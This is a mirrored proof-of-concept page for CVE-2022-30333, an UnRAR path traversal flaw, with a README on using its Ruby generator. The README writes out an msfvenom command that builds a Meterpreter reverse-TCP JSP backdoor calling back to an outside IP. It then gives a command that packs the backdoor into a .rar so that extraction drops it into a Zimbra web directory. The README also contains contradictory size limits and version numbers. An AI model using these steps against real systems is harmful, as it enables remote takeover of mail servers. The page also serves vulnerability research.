CVE-2022-30333 PoC — UnRAR 路径遍历漏洞

Source

https://github.com/J0hnbX/CVE-2022-30333

Associated Vulnerability

Title:UnRAR 路径遍历漏洞 (CVE-2022-30333)
Description:UnRAR是一个可解压rar后缀文件的命令。 UnRAR 6.12 之前版本存在安全漏洞，该漏洞源于允许在提取（也称为解包）操作期间目录遍历写入文件，如创建 ~/.ssh/authorized_keys 文件所示。

Readme

A proof of concept for CVE-2022-30333 - a path traversal vulnerability in unRAR
versions prior to 6.11. I created this as a demonstration of the exploit for
an AttackerKB writeup, and hope to incorporate it in a Metasploit Module soon!

Basically, you provide a target (including path traversal) and some file data,
and this tool will generate a .rar that will extract that file to that location.
The maximum file length is 104 bytes, and the maximum file length is 4096 bytes.
(That's not intrinsic to the vulnerability, it's just what I chose when I
generated the file).

For example, generate a backdoor with `msfvenom`:

```
$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.0.0.146 -f jsp -o payload.jsp
```

Then create a .rar file, planting the .jsp somewhere fun:

```
$ ruby ./cve-2022-30333.rb '../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/backdoor.jsp' ./payload.jsp > file.rar
```

File Snapshot


 [4.0K]  /data/pocs/3e20bb3d3b4626d459083bf17184113000924d23
├── [1.5K]  cve-2022-30333.rb
└── [ 932]  README.md

0 directories, 2 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).

3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.

Goal Reached Thanks to every supporter — we hit 100%!